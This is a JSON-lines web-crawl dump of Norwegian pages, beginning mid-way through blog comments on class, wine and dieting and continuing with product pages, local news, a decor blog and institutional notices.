sannsynligvis har rett p\u00e5 mange punkter, og dels fordi du skriver veldig sort hvitt. I tillegg fremstiller du middelklassen som en saueflokk. En ting jeg er sterkt uenig i, er at disse menneskene ikke drikker seg fulle. Kanskje i din krets, men i sv\u00e6rt mange av de jeg har opplevd er det en annen historie. Det verste er at andakten man kanskje b\u00f8r ha over flaskene med Champagne eller eksklusiv Pomerol. Lite er mer provoserende enn fylla p\u00e5 luksusvin. Man kunne like godt drukket Gato Negro. Noe som for\u00f8vrig gjelder storparten likevel. De ville ikke kjent forskjell under hovedretten en gang. Igjen, sauer i flokk. S\u00e5 har du andre siden, de som ikke har mest. Men som setter pris p\u00e5 det de har, og som ogs\u00e5 unner seg den samme luksusen med andakt fra tid til annen. Men hva er det med bruk av klasseskiller? Generasjonen jeg er del av har s\u00e5 det monner. Vi kom oss inn p\u00e5 boligmarkedet i grevens tid, og selv i \u00ablavtl\u00f8nnede\u00bb yrker velver vi oss i forbruk. I motsetning til v\u00e5re foreldre som brukte 70% av inntekten sin p\u00e5 mat og husholdning, bruker vi 10%. Resten g\u00e5r i vin, biff, skinke og svindyre oliven. Her kommer ogs\u00e5 uilk bakgrunn og uilk oppvekst inn. Middelklasse, overklasse og underklasse er plutselig blandet. Man ser ikke de store forskjellene likevel. Eller er det bare jeg som opplever det s\u00e5nn? I dag m\u00e5les uansett status i mengden fritid og egentid. Hvor mange mil du har p\u00e5 sykkel i uka. Er du blant de som har mest, spiller det liten rolle hvilken klasse du kommer fra eller aldersgruppe du tilh\u00f8rer. Du tilh\u00f8rer sykkelmilj\u00f8et. D\u00e9t laget. Kanskje sm\u00f8rer noen litt tykt p\u00e5, og m\u00e5 finne frem konfirmasjonsdressen for \u00e5 passe inn p\u00e5 fest. Men de blir bedt. Jeg tror at det jeg fors\u00f8ker \u00e5 si er at jeg er uenig i at vi har s\u00e5 tydelige klasser. Og at du definerer din klasse s\u00e5 tydelig plager meg litt. Kanskje klassereisen har g\u00e5tt litt til hodet p\u00e5 deg likevel? Eller kanskje er det jeg som ikke ser greia. Uansett. Takk for en post som fikk meg til \u00e5 tenke.\n    \n18.  **Smurfen Thomas** sier:\n    \n    mai 26, 2013, kl. 00:21\n    \n    Lenge siden jeg har lest mer generalisernde skivebom\u2026 herregud ta deg sammen kjerring.\n    \n19.  **alle** sier:\n    \n    mai 26, 2013, kl. 10:26\n    \n    Virker som om du er veldig kry av \u00e5 ha karret deg opp til middelklassen.  \n    Gratulerer ingen er imponert.  \n    mvh Alle.\n    \n    1.   **H\u00e5kon** sier:\n        \n        mai 26, 2013, kl. 17:45\n        \n        Jeg er imponert, og ogs\u00e5 lettet over at noen klarer det. Tendensen er dessverre motsatt,nemlig at folk som kommer fra NAV-er-milj\u00f8er selv blir NAV-ere.\n        \n20.  **Reka** sier:\n    \n    mai 26, 2013, kl. 13:47\n    \n    Interessant og tankevekkende innlegg\\!\n    \n    Og til de to kommentarene over: Gratulerer, dere beviser igjen hvor innegrodd janteloven er i Norge.\n    \n21.  **Marie** sier:\n    \n    mai 26, 2013, kl. 15:15\n    \n    Interessant innlegg.  \n    Jeg har vokst opp som det du vil kalle \u00ab\u00f8vre middelklasse\u00bb antakelig. Oslo Vest, bl\u00e5russ, hele pakka. Jeg fikk ikke barnemat som liten, men moste gr\u00f8nnsaker og etterp\u00e5 gr\u00f8nnsaksvannet til \u00e5 drikke. Moren min har aldri kj\u00f8pt ferdigmat noensinne, og hver middag har tatt omtrent tre timer, hver dag, hele min oppvekst, og alle m\u00e5ltider skal spises sammen. Foreldrene mine har som regel ett glass vin til maten, dog bare ett. Jeg har aldri hatt problemer med \u00e5 holde vekten \u2013 sunne middager kombinert med \u00e5 bli presset til turn, tennis, dans osv. Det skal riktignok sies at presset til \u00e5 v\u00e6re slank ikke alltid har v\u00e6rt lett.  \n    Jeg ser ingen grunn til \u00e5 si at innlegget ditt er \u00abgeneraliserende\u00bb. Det er ikke nedsettende ovenfor middelklassen, som uansett om de drikker mer til hverdags, klarer \u00e5 holde seg slanke.  \n    Derimot ser jeg ikke hvorfor du avslutter med \u00absorry middelklassen\u00bb?. Som om det er noe de har misforst\u00e5tt? Alle vet at alkohol er en d\u00e5rlig id\u00e9 kombinert med vektnedgang. Men \u2013 som du sier \u2013 det g\u00e5r helt greit for dem som kun skal vedlikeholde vekten, eller maks ned 3-4 kilo. Og de er heller ikke pliktige \u00e5 holde tilbake for din skyld. Alle har sine \u00abguilty pleasures\u00bb i det daglige liv, for noen er det s\u00f8ppelmat og for andre er det vin.  \n    Jeg er selv slank men skal ned et par \u00abforfengelighetskilo\u00bb f\u00f8r sommeren. Ett glass t\u00f8rr hvitvin er 81 kcal og en Gin Tonic (laget med lett tonic) er 54 kcal. Det kan jobbes inn i tillatt kaloriintak (vektnedgang bunner tross alt ut i kalorier ut minus kalorier inn).\n    \n22.  **Ingvild Reymert** sier:\n    \n    mai 27, 2013, kl. 13:18\n    \n    Veldig bra innlegg \u2013 du er spot on p\u00e5 b\u00e5de klasse og alkholens plass i samfunnet. I tillegg til at du skriver veldig godt\\! Bra blogg.\n    \n23.  **Katarina Storalm (@Storalm)** sier:\n    \n    mai 27, 2013, kl. 19:29\n    \n    Himmel, for noen kommentarer du fikk p\u00e5 slutten her\\! Men jeg liker bloggen din, den er inspirerende, jeg f\u00e5r lyst til \u00e5 bytte ut iste med vann i enda st\u00f8rre grad, og bevege meg en del mer enn jeg gj\u00f8r. Jeg kjenner meg veldig igjen i beskrivelsene dine, s\u00e5klart, det gj\u00f8r jeg jo som regel, du skriver s\u00e5 \u00e6rlig og rett fra r\u00f8ynda. Vennligst drit i kommentarfeltet og fortsett med greia di, du er s\u00e5 forn\u00f8yelig \u00e5 lese. Har lyst \u00e5 henge ut en dag\\!\n    \n    1.   **Marie** sier:\n        \n        mai 28, 2013, kl. 00:35\n        \n        \u00abVennligst drit i kommentarfeltet\u00bb\n        \n        Hun har da vel ikke f\u00e5tt s\u00e5 mange negative kommentarer?\n        \n        1.   **Ida Jackson** sier:\n            \n            mai 29, 2013, kl. 06:52\n            \n            Nei, d\u00e9t har jeg ikke f\u00e5tt\\! Men mye rart p\u00e5 e-post \ud83d\ude00\n\n24.  **Lingvisten** sier:\n    \n    mai 31, 2013, kl. 08:43\n    \n    Haha, gjett om jeg kjenner meg igjen. Jeg er f\u00f8dt og oppvokst i middelklassen (akademiker med akademikerforeldre) og driver n\u00e5 for f\u00f8rste gang i mitt liv og pr\u00f8ver alvorlig \u00e5 g\u00e5 ned et par kilo. (Er i og for seg ganske stolt av \u00e5 v\u00e6re vestlig kvinne p\u00e5 snart f\u00f8rti som aldri har slanka seg f\u00f8r, men ergrelsen over \u00e5 ikke komme inn i yndlingsbuksa lenger fikk overtaket p\u00e5 stoltheten \u2026) Jeg har sjelden problemer med \u00e5 styre unna potetgull, og boller husker jeg ikke sist jeg spiste. Sjokolade er noe som har 70 prosent kakao og inntas i tigramsporsjoner. Men r\u00f8dvinen er min bane. Dele en flaske med husbonden p\u00e5 fredagskvelden, for litt skal man jo kose seg, og det skal man jo p\u00e5 l\u00f8rdag ogs\u00e5 \u2026 Og det derre vinglasset kroppen og hjernen roper h\u00f8yt p\u00e5 etter en lang arbeidsdag, som tar brodden av stress og prestasjonsangst og dessuten \\*fortjener\\* man jo \u00e5 slappe av med det glasset, for man jobber jo s\u00e5 hardt, og til alt overm\u00e5l bor jeg p.t. i et land hvor vinen er b\u00e5de god og billig. Sukk. M\u00e5 enten skaffe mer selvdisiplin eller gj\u00f8re som mannen sier og kj\u00f8pe nye bukser \u2026 men det er jo \u00e5 gi seg \u2026 og s\u00e5nt gj\u00f8r jo ikke flinke middelklassepiker \u2026\n    \n    1.   **Lingvisten** sier:\n        \n        juni 1, 2013, kl. 12:16\n        \n        Og nevrotisk som man er, s\u00e5 begynner man etter \u00e5 ha slengt ut av seg en kommentar \u00e5 lure p\u00e5 om den kanskje kunne tolkes som bl\u00e6rete og teit, \u00abhah, jeg har aldri slanka meg f\u00f8r, jeg\u00bb, liksom. Og det var jo ikke d\u00e9t man ville si. Tvert imot, s\u00e5 mye som jeg sliter med \u00e5 kvitte meg med et par pysete sm\u00e5 kilo, s\u00e5 f\u00e5r jeg stadig st\u00f8rre respekt for dem som har st\u00f8rre vektproblemer \u00e5 hanskes med. Og kjenner meg veldig igjen i veldig mye du skriver selv om jeg alts\u00e5 har en litt annen bakgrunn \u2026 Var det jeg ville si. Bare s\u00e5 det ikke er noen tvil.\n        \n25.  **Carl-Erik** sier:\n    \n    juni 6, 2013, kl. 01:25\n    \n    Holy crap, jeg digger alt det du skriver\\! Sant, sant og sant. Ikke minst butter det n\u00e5r man skal pr\u00f8ve \u00e5 holde seg unna alkohol en liten stund. Da innser man hvor ofte det faktisk dukker opp (som beskrevet). Skal deles i stort monn \ud83d\ude42\n    \n26.  **motionocean** sier:\n    \n    september 7, 2013, kl. 06:44\n    \n    Smarte ord, fr\u00f8ken. Jeg liker skriveriene dine\\!\\!\\!\n    \n27.  **Kokosfett och din h\u00e4lsa** sier:\n    \n    oktober 18, 2013, kl. 22:30\n    \n    Nu har jag \u00e4ntligen hittat va man s\u00f6kte\\! Man kommer \u00e5ter och  \n    l\u00e4ser n\u00e5gon en annan g\u00e5ng \ud83d\ude42\n    \n28.  **best loss program weight sacramento** sier:\n    \n    august 16, 2014, kl. 02:17\n    \n    Wonderful, what a web site it is\\! This web site gives helpful facts to us, keep it up.\n    \n29.  **orlando custom cabinets** sier:\n    \n    oktober 4, 2014, kl. 14:26\n    \n    I kitchen remodeling have a hot pan; nothing good on it finally.  \n    And you just take a bite. You could also go  \n    in for certain products. On the other hand,  \n    could be obtained using cupboard ranges from many alternative producers,  \n    at many ranges of quality.\n    \n", "language": "no", "__index_level_0__": "114ba84d-f84e-4e93-98ec-adfd783c70c2"}
{"url": "https://aivo.se/nb/produkter/aivo2000/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:29:31Z", "text": "# Aivo2000\n\n### Hvorfor Aivo2000?\n\nSystemet et utviklet p\u00e5 bakgrunn av v\u00e5re erfaringer innenfor storkj\u00f8kkenbransjen. Med kompetanse fra hele tiltakskjeden i et storkj\u00f8kken har vi valgt \u00e5 bygge et kraftfullt og fleksibelt verkt\u00f8y som passer alle typer kj\u00f8kken. Vi sier Aivo2000 er hjernen i kj\u00f8kkenet. Vi vet at behovene er ulike mellom et kj\u00f8kken som produserer 50 m\u00e5ltider per dag og et annet kj\u00f8kken som produserer 1000 m\u00e5ltider eller mer. Derfor har vi lagt til moduler med spesialfunksjoner. Hvert enkelt kj\u00f8kken kan med andre ord bygge ut systemet i tr\u00e5d med egne behov slik at arbeidsprosessene bli smidige med lave administrative omkostninger.\n\nHer har vi listet opp fem punkter som viser hvorfor Aivo2000 bidrar til at kj\u00f8kkenet arbeider med optimale prosesser som blant annet f\u00f8lger Mattilsynets krav til blant annet m\u00e5ltidsdeklarasjoner.\n\n**1. Aivo2000 gir oversikt over detaljene i m\u00e5ltidsdeklarasjonen**\n\nM\u00e5ltidsdeklarasjonen i Aivo2000 f\u00f8lger Mattilsynets krav for merking av emballerte n\u00e6ringsmidler. P\u00e5 en etikett kan du deklarere produktets ingredienssammensetning i synkende rekkef\u00f8lge med framhevede allergener, vise n\u00e6ringsinnhold per 100 gram samt definere produksjonsdato og siste forbruksdag. Alt dette og mer til, gir deg sikkerhet for at du deklarerer i tr\u00e5d med gjeldende krav.\n\n**2. Glem manuelle n\u00e6ringsberegninger og kalkyler**\n\nKostdatasystemet gir deg muligheter for \u00e5 planlegge og \u00e5 n\u00e6ringsberegne alle dine menyer p\u00e5 et enkelt og rasjonelt sett, uavhengig av kj\u00f8kkenets st\u00f8rrelse. Innarbeid en rullerende meny, kopiere og tilpass menyen for flere uker eller m\u00e5neder. Ved hjelp av Aivo2000 kan du n\u00e6ringsberegne og utvikle individuelle oppskrifter for fleksible porsjonsst\u00f8rrelser. Du f\u00e5r mer tid til \u00e5 komponere nye m\u00e5ltider som gir st\u00f8rre variasjonsmuligheter.\n\n**3. Halver planleggingstiden og reduser kostnadene**\n\nHar du beregnet hvor mye tid du legger ned p\u00e5 \u00e5 bestille r\u00e5varer? Med et databasert kostdatasystem vinner du ikke bare tid, men ogs\u00e5 penger. Svinnet minsker og systemet hjelper deg til \u00e5 holde kostnadene nede p\u00e5 et \u00f8nskelig mulig niv\u00e5. I tillegg f\u00e5r du detaljert salgsstistikk, lagerbeholdning samt distribusjon og \u00f8konomirapportering. Dokumenterbare rutiner er lettere \u00e5 f\u00f8lge opp og videreutvikle.\n\n**4. Planlegg menyer med inspirasjon fra bl\u00e5- kassetten**\n\nAivo2000 inneholder en egen kokbok for storkj\u00f8kken eller som v\u00e5re kunder sier; bl\u00e5-kassetten. Du kan lage dine egne oppskrifter eller laste dem ned fra dine leverand\u00f8rer.\n\n**5. Bedre underlag for fakturering og \u00f8konomisk oppf\u00f8lging**\n\nVed hjelp av Aivo2000 skapes lister for innkj\u00f8p, varebestilling, produksjon, utporsjonering, kj\u00f8relister og f\u00f8lgesedler med mer. Det er enkelt \u00e5 hente fram statistikk i kroner og antall samt over bestilte m\u00e5ltider/varer per periode og totalt. Programmet forholder seg til gjeldende standard for elektronisk handel. Elektroniske prislister kan leses inn i programmet.\n\nKontakt oss for en demo og l\u00e6r \u00e5 kjenne v\u00e5re produkter\\!\n\n", "language": "no", "__index_level_0__": "a9181fca-629f-48fc-9852-33949b856d0e"}
{"url": "http://www.evenes.kommune.no/startsiden/nyhetsarkiv/3742-nytt-fimbul-nr-32", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:14:27Z", "text": "Skrevet av Unn Kristin Laberg 01. desember 2014. i kategorien Nyheter\n\n\n\nI \u00e5rets Fimbul finner du blant annet et tilbakeblikk p\u00e5 Evenes/Ofotens rolle omkring hendelsene i 1814.\u00a0\n\nEllers er det mye annet spennende lokalhistorisk stoff fordelt p\u00e5 80 sider i \u00e5rets Fimbul, det 32. i rekken. Godt illustrert med blant annet mange gamle fotografier.\n\nP\u00e5 bildet ovenfor ser du Kjellaug Kulbotten, Sigrid R\u00f8rvik Bruun, Arne Rasmussen og Aina Heimdal i Evenes Bygdeboknemnd. De to \u00f8vrige redaksjonsmedlemmene \u00a0er Martin Hansen og Siri Tobiassen. Evenes Bygdeboknemnd benytter anledningen til \u00e5 takke\u00a0alle som har bidratt til \u00e5rets Fimbul.\n\nFimbul selges i Ofoten sparebank, Bogen og p\u00e5 Joker Liland for kr. 150.\n\nDen perfekte julegave, sp\u00f8r du oss.\u00a0\n\n", "language": "no", "__index_level_0__": "c09c9d4b-5ab2-4eef-9ff8-40ec7d48c6eb"}
{"url": "http://daisishome.blogspot.com/2012/02/liten-sniktitt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:44:02Z", "text": "\n## tirsdag 28. februar 2012\n\n### Liten sniktitt ......\n\n\n\n  \nHeisann   \n  \nM\u00e5tte bare innom s\u00e5nn i full fart\u00a0med \u00a0en oppdatering og sniktitt\u00a0av \"betongveggen\" p\u00e5 stua.  \n  \nEn\u00a0 spennende\u00a0\u00a0m\u00e5te \u00e5 fornye veggen p\u00e5.  \n  \nHer p\u00e5 stua\u00a0er det\u00a0 for tiden fullt kaos det kan jeg skrive under p\u00e5\u00a0s\u00e5 ble utrolig glad da malingen\u00a0jeg har ventet p\u00e5 idag\u00a0kom bringet p\u00e5 d\u00f8ren.  \n  \nS\u00e5 n\u00e5 er \"s\u00f8lv veggen \" en saga blott og kjenner det var p\u00e5 tide med forandring .....  \n  \nDa den lyse fargen jeg pr\u00f8vde med f\u00f8rste gang\u00a0ikke ga noe kalk utslag, valgte jeg en ny m\u00f8rkere variant.  \n  \nFargen\u00a0er\u00a0kjempefin\u00a0og denne gang kan effekten sees allerede etter f\u00f8rste str\u00f8ket.  \nNoe som\u00a0 vises\u00a0p\u00e5 bildet over her.  \n  \n  \nFargen River Shilt, vil jeg si \u00a0er en blanding av gr\u00e5tt,beige og brunt ...ganske s\u00e5 ubestemmelig men rett og slett nydelig.  \nSkal jo funke mot den m\u00f8rkegr\u00e5e veggen som allerede er her ifra f\u00f8r, men tror det blir ok.  \n  \n  \nAlle listverk f\u00e5r en fornying med Lady supreme finish glans80.\u00a0Det baller som oftest p\u00e5 seg n\u00e5r en f\u00f8rst er igang .....  \nOg her tar som\u00a0oftest ting noks\u00e5 lang tid.  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \n  \nGledes til det hele\u00a0er ferdig og\u00a0st\u00e6sjingen med en aldri s\u00e5 liten stilforandring st\u00e5r for tur ..  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *  \n  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *Til s\u00e5 lenge ha ei flotters uke*   \n  \n  \n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Sissel*  \n  \n  \nDaisys home  kl. \n\n21:56           \n\n Etiketter: kalkmaling, pure original \n\n \n#### 2 kommentarer:\n\n\n\n\n\nEli's lille rede sa...\n\nS\u00e5 deilig at malingen din endelig er i hus, Sissel\\! Da g\u00e5r det fremover. Blir s\u00e5 spennende \u00e5 se ferdig resultat, og hva slags stilart du forvandler stua til n\u00e5;) Aner jeg en liten smule industri? ;) Er helt sikker p\u00e5 at det blir lekkert uansett. Den tapeten jeg har brukt bak senga har vi tapetsert fra gulv til tak rett p\u00e5 veggen. Brukte 3 lengder. Ble litt avskj\u00e6r pga m\u00f8nster, men ikke mye. Hadde nok til platen p\u00e5 et lite bord, skal tapetsere toppen p\u00e5 en kommode, og enda er det mer igjen til kommende sm\u00e5prosjekter. Jeg m\u00e5 f\u00e5 tak i en ny skrift som funker. De p\u00e5 Fu Rosas landhandel hadde aldri h\u00f8rt om at det var noe feil p\u00e5 skriften, men den jeg fikk var plast-klistremerker, ala den man kj\u00f8per p\u00e5 Panduro. De kunne jo bare ha sjekket en av de dem har igjen, og sendt meg erstatningsvare, men stille ble det. Jeg f\u00e5r gi det noen dager. Ha en riktig god natt.  \n  \nKlem fra Eli:)\n\n 28. februar 2012 kl. 22:43    \n\n\n\n\n\nBettum Villa sa...\n\nSkal bli spennende \u00e5 se effekten p\u00e5 den m\u00f8rke malingen. S\u00e5nn kalkmaling er jo r\u00e5t\u00f8ft.  \nKlem Madel\u00e9n\n\n 28. februar 2012 kl. 23:44    \n\n    \n\n## HUSK\n\n    \n", "language": "no", "__index_level_0__": "67a38a5e-876d-44f2-959a-4d8dcf3f2803"}
{"url": "https://www.virke.no/bransjer/bransjeartikler/naringslivets-frivillighetspris-2017-til-kicks-og-mental-helse-ungdom/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:46:23Z", "text": "# N\u00e6ringslivets Frivillighetspris 2017 til Kicks og Mental Helse Ungdom\n\n\n\nN\u00e6ringslivets Frivillighetspris ble tirsdag kveld tildelt kosmetikkjeden Kicks og organisasjonen Mental Helse Ungdom, for samarbeidsprosjektet som gir arbeidstrening for unge jenter med d\u00e5rlig psykisk helse. Det er Hovedorganisasjonen Virke og Frivillighet Norge som deler ut prisen.\n\n  \n\u2013 Dette er s\u00e5 fortjent\\! Kicks og Mental Helse Ungdom viser hvorfor n\u00e6ringslivet og frivilligheten har stor nytte av hverandre. Praktikantene bidrar hos Kicks og f\u00e5r en d\u00f8r\u00e5pner til arbeidslivet tilbake. Dette prosjektet l\u00f8ser utfordringer b\u00e5de for enkeltmenneskene, for bedriften og for samfunnet, sier administrerende direkt\u00f8r i Virke, Vibeke Hammer Madsen.\n\nPrisvinneren er et pr\u00f8veprosjekt som gir praksisplasser til unge jenter som sliter med d\u00e5rlig psykisk helse. Til n\u00e5 har rundt 20 unge jenter f\u00e5tt praksisplass i 7 butikker gjennom prosjektet, og det legges n\u00e5 planer for \u00e5 ekspandere til flere butikker og med flere deltakere.\n\n\u2013Vi er glade for \u00e5 v\u00e6re med p\u00e5 \u00e5 dele ut N\u00e6ringslivets Frivillighetspris, og h\u00e5per at prisen ogs\u00e5 kan skape \u00f8kt forst\u00e5else for frivillighetens betydning og samfunnsrolle i n\u00e6ringslivet, sier generalsekret\u00e6r i Frivillighet Norge, Stian Slotter\u00f8y Johnsen.\n\n## Juryens begrunnelse\n\nJuryen er s\u00e6rlig imponert over hvordan de har skapt et samarbeid som gir verdier for alle som deltar i prosjektet. De er et eksempel som inspirerer og r\u00f8rer. De er med p\u00e5 \u00e5 fylle hull i og supplerer velferdsstaten. Vinneren endrer livet til de som deltar og de skaper ny kunnskap og nye metoder for \u00e5 sikre et arbeidsliv som inkluderer alle. \u00c5rets jury er blant annet Jens Petter Heyerdahl fra ISCO Group og styreleder UNICEF, og Else-May Botten, stortingsrepresentant og medlem av Stortingets n\u00e6ringskomit\u00e9.\n\n## Om N\u00e6ringslivets Frivillighetspris:\n\nN\u00e6ringslivets frivillighetspris ble for f\u00f8rste gang utdelt i fjor, og har som oppgave \u00e5 fremme gode samarbeid mellom n\u00e6ringsliv og frivillig sektor.\n\nKandidatene m\u00e5 v\u00e6re en norsk bedrift som i samarbeid med en frivillig organisasjon har bidratt til \u00e5 utvikle samfunnet og gjort en forskjell i enkeltmenneskers liv. Samarbeidet kan v\u00e6re p\u00e5 lokalt, nasjonalt eller globalt og kan gis til b\u00e5de tidsavgrensede prosjekter s\u00e5 vel som f\u00f8lge av et lengre samarbeid.\n\nFjor\u00e5rets vinnere av n\u00e6ringslivets frivillighetspris var Tr\u00f8nderEnergi og R\u00f8de Kors for prosjektet \"Nettverk etter soning\", et tilbud til tidligere straffed\u00f8mte som er p\u00e5 vei tilbake til et nytt liv.\n\n", "language": "no", "__index_level_0__": "ffc9bf7b-9d9b-47bf-ac35-8469a6ed2d57"}
{"url": "http://ansatt.uis.no/aktuelt/article123902-2955.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:32:52Z", "text": "# Rapport for arealstrategi Kj\u00f8lv Egelands hus\n\n-----\n\nP\u00e5 oppdrag fra UiS har Statsbygg bist\u00e5tt med \u00e5 utarbeide en plan for arealbruk/arealstrategi for fremtidig bruk av Kj\u00f8lv Egelands hus. Rapporten for mulighetsstudien er n\u00e5 klar. \n\nBakgrunnen for mulighetsstudien er at UiS, ved TN-fakultetet, har behov for en samlet plan for fremtidig arealbruk for Kj\u00f8lv Egelands hus (KE) for \u00e5 sikre funksjonelle lokaler som underst\u00f8tter mer effektiv arealutnyttelse og nye undervisnings- og arbeidsmetoder. KE ble bygget i seks trinn p\u00e5 70- og 80-tallet og er lite tilpasset dagens behov. Rapporten er utarbeidet av Statsbygg i samarbeid med Signal Arkitekter AS og UiS. \u00a0\n\nSamfunnsm\u00e5let for prosjektet/tiltakene er definert som f\u00f8lgende: KE-huset skal st\u00f8tte opp under at TN- fakultetet har en innovativ og internasjonal profil og er en drivkraft i kunnskapsutviklingen og endringsprosesser i samfunnet.\n\nLedelsen ved TN vil\u00a0n\u00e5 g\u00e5 gjennom denne\u00a0rapporten, og sammen med UiS-ledelsen\u00a0vurdere hvordan\u00a0videre\u00a0prosess med utvelgelse av\u00a0eventuelle tiltak og oppf\u00f8lging\u00a0skal gjennomf\u00f8res\u00a0og realiseres fremover.\n\nSe Campusutvikling Kj\u00f8lv Egelands hus for komplett rapport med vedlegg.\u00a0\n\n-----\n\nSist oppdatert av Mari L\u00f8v\u00e5s (26.02.2018)  \n  \n", "language": "no", "__index_level_0__": "f95df13c-9f53-4d26-96b1-e4e773717cd7"}
{"url": "http://banda.no/bestill-blaresept/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:39:03Z", "text": "## Bestill utlevering/levering av ditt utstyr p\u00e5 eResept\n\nHer kan du bestille de sykepleieartiklene og n\u00e6ringsmidlene du har f\u00e5tt p\u00e5 eResept.  \nVi sender deg en bekreftelse p\u00e5 SMS n\u00e5r dine varer er klare for henting eller utkj\u00f8ring. Har du ikke mobiltelefon, ringer vi deg og avtaler hvordan du vil ha det. Hvis du ikke vet hvor mye du skal ha levert, s\u00e5 tar vi kontakt, slik at du f\u00e5r akkurat det du trenger.  \nAlle felt m\u00e5 fylles ut.\n\n\u00a0\nVed innsendelse av dette bestillingsskjema til den angitte butikk, godtas samtidig at butikken kan hente ut dine elektroniske resepter p\u00e5 sykepleieartikler og n\u00e6ringsmidler (ikke medisiner).\n\nDu aksepterer samtidig alle de regler og p\u00e5legg gitt av det offentlige i forbindelse med utlevering av reseptutskrevne produkter.\n\nHvis varen ikke er hentet eller avtalt utlevert innen rimelig tid etter bestilling, forbeholder vi oss retten til \u00e5 slette hele denne bestillingen.\n\n  \n", "language": "no", "__index_level_0__": "0e95e90e-5f1e-47fc-852a-2b1fae36d0ea"}
{"url": "https://h-shop.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:41:57Z", "text": "  - \n\n**Velkommen til v\u00e5r hjemmeside og nettbutikk.**\n\nH. Clausen AS er en Norsk familiebedrift som kan tilby et stort utvalg av Spikerpistoler, festemidler, pakkemaskiner, st\u00e5lb\u00e5nd, strekkfilm, plastb\u00e5nd, plomber, pappesker og\u00a0kantbeskyttere. V\u00e5re kunder har ofte d\u00e5rlig tid og stiller h\u00f8ye krav til levering.\u00a0Vi har derfor\u00a0et stort lager med et bredt utvalg av alt du trenger innen emballering og spikring. Vi f\u00f8rer kun de beste produktene i markedet slik som Senco, Pintos, Cyklop og Teufelberger. Din produksjon skal ikke stoppe p\u00e5 grunn av produkter vi har levert. Det er store penger \u00e5 spare ved rett bruk av v\u00e5re produkter og vi er sv\u00e6rt konkurransedyktige p\u00e5 pris og kvalitet. Med egne verksteder og\u00a0kompetente teknikere tilbyr vi komplette serviceavtaler og garantijobber. Vi reparerer alle v\u00e5re verkt\u00f8y og maskiner profesjonelt. Fremdeles i tvil? Pr\u00f8v oss da vel\\!\n\nHusk at alle priser i nettbutikken er inklusive mva. Er du storforbruker, kontakt oss for avtalepriser.\n\n\u00a0**H. Clausen AS \u00f8nsker alle en riktig God P\u00e5ske\\!\u00a0**\n\n**Vi holder lukket Man. 26. til Ons. 28. Mars**\n\n", "language": "no", "__index_level_0__": "b35da8e5-e024-4b61-8d56-da426d406541"}
{"url": "https://senzie.no/praktisk-informasjon/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:11:55Z", "text": "## Overnatting\n\nVi har samlet en del informasjon om hva Drammen har \u00e5 tilby slik at livet utenom skolen blir en hyggelig opplevelse. V\u00e5rt studie er lagt opp til flere separate \u00f8kter.\u00a0Her kan dere finne info om overnatting i Drammen.\n\nTil overnatting\n\n## Opphold og fritid\n\nN\u00e5r man er student er det viktig med trivsel, b\u00e5de p\u00e5 skole, men ogs\u00e5 p\u00e5 fritiden. Vi har derfor lagd en oversikt over hva Drammen har av ulike muligheter.\u00a0Vi har fokusert p\u00e5 naturopplevelser, trening, restauranter og uteliv, kultur og shopping.\n\n## Annet\n\nDersom du fremdeles lurer p\u00e5 noe s\u00e5 har vi samlet en del av de vanligste sp\u00f8rsm\u00e5lene vi f\u00e5r i en oversikt. Du m\u00e5 mer enn gjerne ta kontakt med oss direkte.\n", "language": "no", "__index_level_0__": "6d7cd0b7-6bda-4b70-aed3-70f889f78e4a"}
{"url": "http://www.klassekampen.no/article/20180305/ARTICLE/180309974", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:25:49Z", "text": "**I Klassekampen-biblioteket** finner du artikler som tidligere har st\u00e5tt p\u00e5 trykk i avisa, og som vi mener fortjener lengre levetid. Du kan velge din favoritskribent, en spalte du er glad i, grave i debatt- og id\u00e9stoffet v\u00e5rt eller lese portretter og nyhetsdokumentarer. Du finner ogs\u00e5 anmeldelser og essay fra musikkmagasinet og bokmagasinet. Vi legger ut hele avisa p\u00e5 nett, med 30 dagers forsinkelse. Du kan ogs\u00e5 s\u00f8ke i arkivene v\u00e5re tilbake til 1996. P\u00e5 sikt h\u00e5per vi \u00e5 kunne by p\u00e5 fullarkiv helt tilbake til starten i 1969.\n\n**I Klassekampen-biblioteket** finner du artikler som tidligere har st\u00e5tt p\u00e5 trykk i avisa, og som vi mener fortjener lengre levetid. Du kan velge din favoritskribent, en spalte du er glad i, grave i debatt- og id\u00e9stoffet v\u00e5rt eller lese portretter og nyhetsdokumentarer. Du finner ogs\u00e5 anmeldelser og essay fra musikkmagasinet og bokmagasinet. Vi legger ut hele avisa p\u00e5 nett, med 30 dagers forsinkelse. Du kan 